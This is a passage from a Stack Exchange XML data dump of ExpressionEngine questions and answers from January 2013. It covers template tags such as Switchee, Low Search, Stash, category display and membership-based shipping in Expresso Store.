value=&quot;channel_two&quot;}&#xA;&#xA;... (Channel two markup)&#xA;&#xA;{/case}&#xA;&#xA;{case value=&quot;channel_three&quot;}&#xA;&#xA;   {switchee variable=&quot;{status}&quot; parse=&quot;inward&quot;}&#xA;&#xA;   {case value=&quot;Featured&quot;}&#xA;&#xA;   &amp;lt;div class=&quot;channel-three featured&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;{switch=&quot;class-a|class-b}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;   {/case}&#xA;&#xA;   {case default=&quot;yes&quot;}&#xA;&#xA;   &amp;lt;div class=&quot;channel-three not-featured&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;{switch=&quot;class-one|class-two|class-three}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;   {/case}&#xA;&#xA;   {/switchee}&#xA;{/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, the issue I am having is the &lt;code&gt;{switch}&lt;/code&gt; markup nested in Switchee seems to cycle on every entry, wether the case it is wrapped in is true or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output is something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;channel-three featured&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;class-a&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- Expecting class-a --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;channel-three not-featured&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;class-two&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- Expecting class-one --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;channel-three featured&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;class-a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- Expecting class-b --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is &lt;code&gt;{switch}&lt;/code&gt; working as expected? Is there a different approach I should take on this? Any other plugins I should try?&lt;/p&gt;&#xA;" OwnerUserId="736" LastEditorUserId="736" LastEditDate="2013-01-09T17:00:50.927" LastActivityDate="2013-01-13T14:25:49.930" Title="How can I prevent a {switch} tag from cycling unless a Switchee case or advanced conditional is true?" Tags="|add-on|conditionals|switch|advanced-conditionals|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2464" PostTypeId="1" AcceptedAnswerId="2465" CreationDate="2013-01-09T02:02:49.490" Score="2" ViewCount="64" Body="&lt;p&gt;I have an &quot;About Us&quot; section of my website. I am trying to attach current classes based upon the url.  When you click on the about us section of the website, it takes you to a channel entry whose url_title is &quot;pastors-welcome&quot;, and while on that page, the &quot;about-us&quot; template group index page is displayed, so segment_1 is &quot;about-us&quot; and segment_2 is blank.  If you navigate the pages within the about-us template group, the current class displays correctly because segment_2 == url_title, but when segment_2 is blank, obviously no class will be applied.  I basically need a conditional that says, if segment_2 == url_title, OR (segment_1 == &quot;about-us&quot; AND segment_2 == &quot;blank&quot;) then apply this class.  I'm not sure if that's a great explanation, but here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/html_header&quot; page_title=&quot;{exp:channel:entries channel=&quot;about_us&quot;}{title}&quot; {/exp:channel:entries}}&#xA;&#xA;&amp;lt;ul class=&quot;categories&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{path=about-us}&quot;&amp;gt;&amp;lt;h2 class=&quot;section-header&quot;&amp;gt;About Us&amp;lt;/h2&amp;gt;&amp;lt;/a&amp;gt;&#xA;        {exp:channel:entries channel=&quot;about_us&quot; dynamic=&quot;no&quot; {gv_param_disable_all}}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a{if segment_2 == url_title} class=&quot;current&quot;{/if} href=&quot;{homepage}/about-us/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-01-09T02:18:33.187" Title="trying to establish &quot;current&quot; class on sidebar link" Tags="|channel-entries|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2465" PostTypeId="2" ParentId="2464" CreationDate="2013-01-09T02:18:33.187" Score="1" Body="&lt;p&gt;ok, I figured this one out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == url_title || url_title ==&quot;pastors-welcome&quot; &amp;amp;&amp;amp; segment_2 == &quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-01-09T02:18:33.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2466" PostTypeId="1" AcceptedAnswerId="2467" CreationDate="2013-01-09T03:38:32.633" Score="3" ViewCount="847" Body="&lt;p&gt;I have a category (cat1) with 2 sub-cats (cat1a and cat1b).&#xA;19 entries belong to cat1, but 9 are in the sub-cats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the 1st level category page (cat1) is there a way to not show the 9 entries that are in the sub-cats?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sub-categories aren't set in stone either, meaning client will add more sub-cats periodically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel entry tag is being used by the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="31" LastEditorUserId="31" LastEditDate="2013-01-11T02:46:15.510" LastActivityDate="2013-01-15T08:59:48.913" Title="Is there a way to not show entries from a sub-category?" Tags="|categories|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2467" PostTypeId="2" ParentId="2466" CreationDate="2013-01-09T04:13:15.597" Score="5" Body="&lt;p&gt;You may have &lt;strong&gt;Auto-Assign Category Parents&lt;/strong&gt; turned on, which automatically assigns the category parent when you choose a child category on save. So when viewing Cat1, all of Cat1a entries will also be displayed since the parent category is automatically set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To turn off, go to Admin &gt; Channel Admin &gt; Global Channel Preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you will need to then go and update the 9 entries and remove the parent category. You can do this in bulk from the edit entries page. Find all 9 entries, click the checkbox next to each, then at the bottom, choose remove categories. Select the category parent to be removed.  &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-09T04:13:15.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2468" PostTypeId="1" AcceptedAnswerId="3569" CreationDate="2013-01-09T04:54:40.997" Score="3" ViewCount="110" Body="&lt;p&gt;We are wanting to determine shipping cost threshold based on membership. We have consumer products with orders over $15 free, and we also have trade products for members, and wish to extend the threshold to orders over $100 free shipping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created two shipping methods (using default with rules), and was hoping it'd be as simple as the following on the cart page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_group == &quot;6&quot;}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_method&quot; value=&quot;5&quot;&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_method&quot; value=&quot;3&quot;&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It almost works, but as we wish to show shipping cost on the main cart page, the above conditional hasn't been processed as the conditional is on the cart page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way, or do we simply remove shipping cost from the cart page and only show it on final payment page (not ideal)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Christiaan&lt;/p&gt;&#xA;" OwnerUserId="739" LastEditorUserId="150" LastEditDate="2013-01-10T19:23:59.047" LastActivityDate="2013-01-10T19:26:13.237" Title="Shipping cost based on membership (Expresso Store)?" Tags="|add-on|expresso-store|shipping|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2469" PostTypeId="1" AcceptedAnswerId="2475" CreationDate="2013-01-09T04:57:19.197" Score="3" ViewCount="229" Body="&lt;p&gt;I have this search form in test/low-search-test&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form collection=&quot;foo&quot; secure=&quot;no&quot; search_mode=&quot;all&quot; result_page=&quot;test/low-search-test-results&quot;}&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label&amp;gt;Job:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;select name=&quot;job&quot; dir=&quot;ltr&quot; id=&quot;job&quot;&amp;gt;&#xA;    {exp:low_options:job}&#xA;         {options}&#xA;            &amp;lt;option value=&quot;{option:value}&quot;&amp;gt;{option:label}&amp;lt;/option&amp;gt;&#xA;        {/options}&#xA;    {/exp:low_options:job}&#xA;    &amp;lt;/select&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the results form in test/low-search-test-results&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results}&#xA;  {if count ==  1}&amp;lt;ol&amp;gt;{/if}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {if count == total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;  {if no_results}No search results{/if}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is that the results page does not filter by job.It doesn't even respect the &quot;collections&quot; param in the search form. It returns all results including some channel entries not defined in the collections param.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong here? How do I filter results in Low Search based on their Channel Fields?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-01-09T08:17:55.987" Title="Parametric Search in Low Search" Tags="|search|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2470" PostTypeId="1" CreationDate="2013-01-09T04:58:23.963" Score="4" ViewCount="79" Body="&lt;p&gt;One of my clients is having major &quot;re-draw&quot; issues with WYGWAM while using Chrome (Mac):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n8l4D.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/n8l4D.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to temporarily lose the lines is to keep resizing the text area. Does anyone know a more permanent solution or reason why it's happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using EE 2.5.2 and WYGWAM 2.6.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Just wanted to note that this is fixed in the latest version of Chrome (24.0.1312.52).&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="738" LastEditDate="2013-01-13T19:51:02.273" LastActivityDate="2013-01-13T19:51:02.273" Title="WYGWAM &quot;re-draw&quot; lines in Chrome" Tags="|add-on|wygwam|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="2471" PostTypeId="2" ParentId="2466" CreationDate="2013-01-09T05:42:03.360" Score="3" Body="&lt;p&gt;Unless I've missed something here could you not simply use the parent_only=&quot;yes&quot; paramater on the channel categories tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html#parent-only&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html#parent-only&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were looking to do something slightly more complex you could always try the GWcode Categories plugin &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="306" LastActivityDate="2013-01-09T05:42:03.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2472" PostTypeId="2" ParentId="2456" CreationDate="2013-01-09T06:29:56.000" Score="1" Body="&lt;p&gt;MSM offers you the option to copy or move over field groups and content when you first create a new site if memory serves, but that is a one time offer, which it seems like it is unlikely to help you now, EXCEPT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you dig into the MSM code that handles that part of things it would make it a lot easier for you to work out the queries that you'd need to do it directly in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a starting point:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cp.sites.php is a function called &lt;code&gt;new_site_form&lt;/code&gt;, in that function is a section demarcated by a comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**  New Site?  Allow Moving/Copying of Existing Data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That has the code that does the interface providing those options&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the function &lt;code&gt;update_site&lt;/code&gt; is a comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**  Moving of Data?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That appears to be the logic that actually moves the stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm short on time so that's as far as I can take it, but hopefully it gives you a boost.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2013-01-09T06:29:56.000" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2473" PostTypeId="1" AcceptedAnswerId="2474" CreationDate="2013-01-09T07:50:38.977" Score="2" ViewCount="168" Body="&lt;p&gt;When I submit my form, I get these errors in the error page. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered &#xA;Severity: Warning &#xA;Message: array_merge() [function.array-merge]: Argument #2 is not an array &#xA;Filename: low_search/mod.low_search.php &#xA;Line Number: 312 &#xA;&#xA;A PHP Error was encountered &#xA;Severity: Warning &#xA;Message: array_key_exists() expects parameter 2 to be array, null given &#xA;Filename: low_search/mod.low_search.php &#xA;Line Number: 331 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my search form &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form collection=&quot;members&quot; secure=&quot;no&quot; search_mode=&quot;all&quot; result_page=&quot;test/low-search-test-results&quot;}&#xA;&amp;lt;fieldset&amp;gt;&#xA;&amp;lt;label&amp;gt;occupation_status:&amp;lt;/label&amp;gt;&#xA;&amp;lt;select name=&quot;occupation_status&quot; dir=&quot;ltr&quot; id=&quot;occupation_status&quot;&amp;gt;&#xA;{exp:low_options:occupation_status}&#xA;{options}&#xA;&amp;lt;option value=&quot;{option:value}&quot;&amp;gt;{option:label}&amp;lt;/option&amp;gt;&#xA;{/options}&#xA;{/exp:low_options:occupation_status}&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is my results form &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results}&#xA;{if count == 1}&amp;lt;ol&amp;gt;{/if}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{if count == total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;{if no_results}No search results{/if}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using Low Search 2.1.2 and ExpressionEngine 2.5.5&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-01-09T08:11:15.797" Title="PHP Error when searching in Low Search" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2474" PostTypeId="2" ParentId="2473" CreationDate="2013-01-09T08:11:15.797" Score="2" Body="&lt;p&gt;Looks like you stumbled upon a little bug there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding at least 1 parameter to the Results tag. In your case, you will need the &lt;code&gt;query=&quot;&quot;&lt;/code&gt; parameter anyway to generate the results from the form submission. The &lt;code&gt;disable=&quot;&quot;&lt;/code&gt; parameter would actually be useful here as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll get it fixed in the next version.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-01-09T08:11:15.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2475" PostTypeId="2" ParentId="2469" CreationDate="2013-01-09T08:17:55.987" Score="2" Body="&lt;p&gt;You need to add the &lt;code&gt;query=&quot;&quot;&lt;/code&gt; parameter to the Results tag so it knows what has been submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you're searching a specific custom field, use the input name as though it was a parameter in the &lt;code&gt;channel:entries&lt;/code&gt; tag. For example, this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;foo&quot; search:some_field=&quot;bar&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would become this in a Low Search form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;search:some_field&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;foo&quot;&amp;gt;Foo&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, in your case, you'd need to use &lt;code&gt;name=&quot;search:job&quot;&lt;/code&gt; in your &lt;code&gt;select&lt;/code&gt;-element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But all of that will be ignored anyway if you don't add the &lt;code&gt;query=&quot;{segment_3}&quot;&lt;/code&gt; parameter to the Results tag (where &lt;code&gt;{segment_3}&lt;/code&gt; is the reference to the encoded query in the URI).&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-01-09T08:17:55.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2476" PostTypeId="2" ParentId="2431" CreationDate="2013-01-09T10:19:58.203" Score="1" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://github.com/croxton/Stash#filter--regex-capture-group&quot; rel=&quot;nofollow&quot;&gt;filter parameter&lt;/a&gt; to filter the output of a Stashed variable, in this case to remove the opening and closing &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags. You will need the Development version of Stash (currently v2.3.6) for the following to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- capture the values --}&#xA;{exp:channel:entries channel=&quot;press_releases&quot;}&#xA;    {exp:stash:set parse_tags=&quot;yes&quot;}&#xA;        {stash:pr-date-loc}{press_release-location}&amp;lt;strong&amp;gt;{pr-city}, {pr-state} &amp;amp;mdash; {entry_date format=&quot;%F %j, %Y&quot;} &amp;amp;mdash; &amp;lt;/strong&amp;gt;{/press_release-location}{/stash:pr-date-loc}&#xA;        {stash:pr-content}{press_release-content}{/stash:pr-content}&#xA;    {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- output the values, if in the same template that you set the variables --}&#xA;&amp;lt;p&amp;gt;&#xA;{exp:stash:get name=&quot;pr-date-loc&quot; process=&quot;end&quot;}&#xA;{exp:stash:get name=&quot;pr-content&quot; filter=&quot;#(?m)^&amp;lt;p&amp;gt;(.*)&amp;lt;/p&amp;gt;$#&quot; process=&quot;end&quot;}&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;{!-- output the values if in an EE or Stash embed --}&#xA;&amp;lt;p&amp;gt;&#xA;{exp:stash:get name=&quot;pr-date-loc&quot;}&#xA;{exp:stash:get name=&quot;pr-content&quot; filter=&quot;#(?m)^&amp;lt;p&amp;gt;(.*)&amp;lt;/p&amp;gt;$#&quot;}&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2013-01-09T10:25:50.377" LastActivityDate="2013-01-09T10:25:50.377" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2477" PostTypeId="2" ParentId="2425" CreationDate="2013-01-09T10:52:38.883" Score="6" Body="&lt;p&gt;Done it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my pagination tags I've added the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;total_pages&quot;}{total_pages}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;current_page&quot;}{current_page}{/exp:stash:set}&#xA;{if previous_page}&#xA;    {exp:stash:set name=&quot;prev_auto_path&quot;}{auto_path}{/exp:stash:set}&#xA;{/if}&#xA;{if next_page}&#xA;    {exp:stash:set name=&quot;next_auto_path&quot;}{auto_path}{/exp:stash:set}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in my  tag I've added the following  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;news&quot;}&#xA;        {if {exp:stash:get name=&quot;current_page&quot;} == 1}&#xA;            &amp;lt;link rel=&quot;next&quot; href=&quot;{exp:stash:get name=&quot;next_auto_path&quot;}&quot; /&amp;gt;        &#xA;        {/if}    &#xA;&#xA;        {if {exp:stash:get name=&quot;current_page&quot;} == 2 &amp;amp;&amp;amp; {exp:stash:get name=&quot;current_page&quot;} != {exp:stash:get name=&quot;total_pages&quot;}}&#xA;            &amp;lt;link rel=&quot;prev&quot; href=&quot;/news/latest-news&quot; /&amp;gt;        &#xA;            &amp;lt;link rel=&quot;next&quot; href=&quot;{exp:stash:get name=&quot;next_auto_path&quot;}&quot; /&amp;gt;    &#xA;        {/if}           &#xA;&#xA;        {if {exp:stash:get name=&quot;current_page&quot;} &amp;gt; 2 &amp;amp;&amp;amp; {exp:stash:get name=&quot;current_page&quot;} &amp;lt; {exp:stash:get name=&quot;total_pages&quot;}}&#xA;            &amp;lt;link rel=&quot;prev&quot; href=&quot;{exp:stash:get name=&quot;prev_auto_path&quot;}&quot; /&amp;gt;        &#xA;            &amp;lt;link rel=&quot;next&quot; href=&quot;{exp:stash:get name=&quot;next_auto_path&quot;}&quot; /&amp;gt;        &#xA;        {/if}&#xA;&#xA;        {if {exp:stash:get name=&quot;current_page&quot;} == {exp:stash:get name=&quot;total_pages&quot;} &amp;amp;&amp;amp; {exp:stash:get name=&quot;current_page&quot;} &amp;gt; 2}&#xA;            &amp;lt;link rel=&quot;prev&quot; href=&quot;{exp:stash:get name=&quot;prev_auto_path&quot;}&quot; /&amp;gt;        &#xA;        {/if}&#xA;&#xA;        {if {exp:stash:get name=&quot;current_page&quot;} == {exp:stash:get name=&quot;total_pages&quot;} &amp;amp;&amp;amp; {exp:stash:get name=&quot;current_page&quot;} == 2}&#xA;            &amp;lt;link rel=&quot;prev&quot; href=&quot;/news/latest-news&quot; /&amp;gt;    &#xA;        {/if}&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated the code to work properly if there is only 2 news pages.&#xA;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="730" LastEditorUserId="730" LastEditDate="2013-01-18T12:49:55.753" LastActivityDate="2013-01-18T12:49:55.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2478" PostTypeId="2" ParentId="2418" CreationDate="2013-01-09T10:55:16.823" Score="2" Body="&lt;p&gt;Firstly thankyou all for your replies and knowledge, I'm confident all answers are &quot;the answer&quot; but EE being EE there is rarely a definitive answer, here's the solution I've arrived at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nicolas from Solspace &lt;a href=&quot;http://www.solspace.com/forums/viewthread/15165/&quot; rel=&quot;nofollow&quot;&gt;suggested using EE&lt;/a&gt; as the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It made sense, I recall using EE to output similar types of data for different needs but I had never thought I could use EE for JSON output (OK, so I'm a newbie with JSON).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A google search returned one poignant post by James over at &lt;a href=&quot;http://spibey.com/blog/2012/01/formatting-channel-entries-as-json-in-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;spibey&lt;/a&gt; that pretty much dealt with was what I was after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A liberal dash of &lt;a href=&quot;http://gotolow.com/addons/low-replace&quot; rel=&quot;nofollow&quot;&gt;Low Replace&lt;/a&gt; to remove any nasty characters that may be in the Freeform fields and stuff up the JSON schema.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Combined with Rob Sanchezs' &lt;a href=&quot;http://devot-ee.com/add-ons/http-header&quot; rel=&quot;nofollow&quot;&gt;Http Header Plugin&lt;/a&gt; to convert the template to proper JSON and I'm well on my way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing left to do was create a ridiculous username/password and restrict the template to that usergroup only and I now have a series of URL's that are secure and output JSON feeds of all Freeform collected info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, extended the functionality to include a parameter where the client can query a date range rather then &quot;the lot&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to all who helped.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-01-09T10:55:16.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2479" PostTypeId="1" CreationDate="2013-01-09T11:14:12.640" Score="1" ViewCount="127" Body="&lt;p&gt;I am having a slight issue with grabbing data from my related categories. &lt;a href=&quot;http://bodyworksforme.com/?/blog&quot; rel=&quot;nofollow&quot;&gt;click here&lt;/a&gt; on my dev site i have several categories energy, relax, wellness etc etc. When the user click on one of the categories a blog roll is created which reveals all posts with that category. I have added the following code to my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;results-row&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;blog&quot; disable=&quot;member_data|trackbacks&quot; related_categories_mode=&quot;yes&quot; limit=&quot;4&quot; }&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{url_title_path='blog/full-post'}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;featured-tab {categories}{category_image}{/categories}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;img src=&quot;{blog_slide_image}&quot; alt=&quot;placeholder&quot; class=&quot;feature-preview-img&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;p&amp;gt;{exp:eehive_hacksaw chars=&quot;150&quot; append=&quot;...&quot;}{feature_copy}{/exp:eehive_hacksaw}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        {/exp:channel:entries}&#xA;        &amp;lt;/ul&amp;gt;&amp;lt;!-- RESULTS-ROW ENDS HERE--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the blog roll pages remain blank, although the categories are populated. Looking at my code above can someone point me in the right direction. &lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="459" LastEditDate="2013-01-09T12:23:47.783" LastActivityDate="2013-01-09T12:34:51.077" Title="related categories issue" Tags="|templates|categories|related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
